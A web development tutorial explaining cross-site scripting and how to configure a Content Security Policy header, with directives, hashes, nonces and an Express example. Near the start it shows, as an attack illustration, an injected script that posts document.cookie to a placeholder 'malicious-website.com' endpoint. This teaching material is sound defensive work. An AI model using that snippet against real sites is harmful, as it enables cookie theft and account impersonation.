The security of our web application should be one of our primary concerns as developers. One of the threats we need to consider is cross-site scripting (XSS). This article explains the danger it poses and how we can fight it using a Content Security Policy (CSP) header.
Cross-Site Scripting (XSS)
With cross-site scripting (XSS) attacks, an attacker injects malicious code into our website. It often takes the form of JavaScript code that can harm our users when it runs in their browser. For example, imagine an attacker injecting the following script into the website:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
<script> const url = 'https://malicious-website.com/gather-cookies'; const data = JSON.stringify({ cookie: document.cookie }); fetch(url, { method: 'POST', mode: 'cors', headers: { 'Content-Type': 'application/json' }, body: data }) </script> |
Assuming the above request is not blocked by the Cross-Origin Resource Sharing mechanism, it sends the cookies of our users to the attacker.
If you want to know more about Cross-Origin Resource Sharing (CORS), check out Cross-Origin Resource Sharing. Avoiding Access-Control-Allow-Origin CORS error
The above can be a massive problem if we store sensitive data in cookies such as authentication tokens. Therefore, we should mark sensitive cookies with the HttpOnly flag so that no one can access them through the document.cookie property.
If you want to know how to design an authentication that uses HttpOnly and the Set-Cookie header, check out API with NestJS #3. Authenticating users with bcrypt, Passport, JWT, and cookies
When attackers access cookies, they can impersonate our users in a similar way they would when stealing a password.
Content Security Policy (CSP)
Above, we’ve mentioned two security mechanisms that would stop the attacker from retrieving the cookies. However, if they fail for some reason, we can still rely on the content security policy if we set it up correctly.
Content security policy allows us to control what resources the browser can load and execute. Let’s look at a straightforward example with images.
1 |
<img src="https://via.placeholder.com/150"> |
If https://via.placeholder.com/150 matches our content security policy, the browser displays it as usual. Otherwise, the browser does not request it, and therefore it does not display the image.
If you’re interested how the image source can be used by the attackers, check out this discussion.
Writing our policy
A rule in the content security policy consists of two parts:
- a directive that represents the resource type the rule applies to,
- the value that describes what content is valid for the given resource.
To better illustrate it, let’s provide a simple example:
1 |
Content-Security-Policy: img-src 'self' |
For the self keyword to be valid
We only allow images from the current origin thanks to using img-src and the 'self' keyword. Therefore, if we don’t host our website at https://via.placeholder.com, the browser cannot fetch the image located at https://via.placeholder.com/150. This results in the following error:
Refused to load the image ‘https://via.placeholder.com/150’ because it violates the following Content Security Policy directive: “img-src ‘self'”.
Fortunately, we can provide multiple values for a given resource type.
1 |
Content-Security-Policy: img-src 'self' via.placeholder.com |
Thanks to adding via.placeholder.com above, we allow images from both our origin and from via.placeholder.com.
Specifying sources for JavaScript
Another essential directive is script-src, where we specify valid sources for JavaScript.
1 |
Content-Security-Policy: script-src 'self' |
By specifying script-src 'self', we allow JavaScript only from the current origin. While that increases safety, there are cases where this might be troublesome. For example, a typical case is to fetch jQuery from CDN.
1 |
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> |
Using script-src 'self' would cause an error:
Refused to load the script ‘https://code.jquery.com/jquery-3.6.0.min.js’ because it violates the following Content Security Policy directive: “script-src ‘self'”. Note that ‘script-src-elem’ was not explicitly set, so ‘script-src’ is used as a fallback.
To deal with it, we can explicitly allow JavaScript from code.jquery.com.
1 |
Content-Security-Policy: script-src 'self' code.jquery.com |
Dealing with inline JavaScript
Specifying script-src 'self' disallows the browser from executing inline JavaScript too.
1 2 3 |
<script> console.log('Hello world!'); </script> |
We might encounter this issue when using Google Tag Manager, for example. We could deal with this problem by using the unsafe-inline keyword.
1 |
Content-Security-Policy: script-src 'self' 'unsafe-inline' |
Doing the above is discouraged because it allows the browser to execute all inline code. Doing that would turn off one of the most significant advantages that Content Security Policy provides.
A good way of dealing with this issue is by providing a hash of our inline script. However, before doing that, we can run our website and investigate the error:
Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self'”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-YcgJt52q8mzxiLdUZrxAHMLSM7JxwURiNHAtn6WQFMU=’), or a nonce (‘nonce-…’) is required to enable inline execution.
Above, we can see that the browser generates the hash that we should use.
1 |
Content-Security-Policy: script-src 'self' 'sha256-YcgJt52q8mzxiLdUZrxAHMLSM7JxwURiNHAtn6WQFMU=' |
The above works great if our inline script does not change often. However, it would not work well with JavaScript that we generate dynamically.
We need to generate a nonce used both in the <script> tag and in the Content-Security-Policy header to deal with such JavaScript. It should be different for each response. We can achieve it easily with the following libraries:
index.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
const express = require('express') const { v4: uuidv4 } = require('uuid'); const app = express() app.set('view engine', 'ejs'); app.get('/', function(request, response) { const nonce = uuidv4(); response.set("Content-Security-Policy", `script-src 'self' 'nonce-${nonce}'`); response.render('index', { nonce: nonce, environment: 'production' }); }); app.listen(3000, () => { console.log('App is listening'); }) |
index.ejs
1 2 3 4 5 6 7 8 9 10 |
<!DOCTYPE html> <html> <head> <script nonce="<%= nonce %>"> window.environment = '<%= environment %>'; </script> </head> <body> </body> </html> |
Applying multiple rules
So far, we’ve been applying one rule at a time. We can provide multiple rules separated with semicolons.
1 |
Content-Security-Policy: script-src 'self'; img-src 'self' |
Although there are many directives besides script-src and img-src to choose from, one of them stands out. With default-src, we can define a fallback for other directives.
For a complete list of available directives check out the documentation.
1 |
Content-Security-Policy: default-src 'self'; img-src 'self' via.placeholder.com |
By defining default-src 'self'; img-src 'self' via.placeholder.com, we configure a few things:
- we determine the 'self' via.placeholder.com value for img-src,
- we set up the 'self' value for every other fetch directive.
A common use case might be to allow images from any source while still blocking other dangerous content. For example, we can use *.placeholder.com with a wildcard to allow images from all subdomains of placeholder.com. We can also use just * to allow images from any source.
1 |
Content-Security-Policy: script-src 'self'; img-src * |
Summary
In this article, we’ve gone through what cross-site scripting (XSS) is. We’ve also learned about content security policy (CSP) and how it can help us. This included learning about different resources we might want to block, such as images and javascript. We’ve emphasized inline javascript and allowed it with hashes and nonces. Examing various use cases also required us to apply multiple rules using wildcards and fallbacks. The content security policy can come in handy if we want an additional layer of protection again cross-site scripting.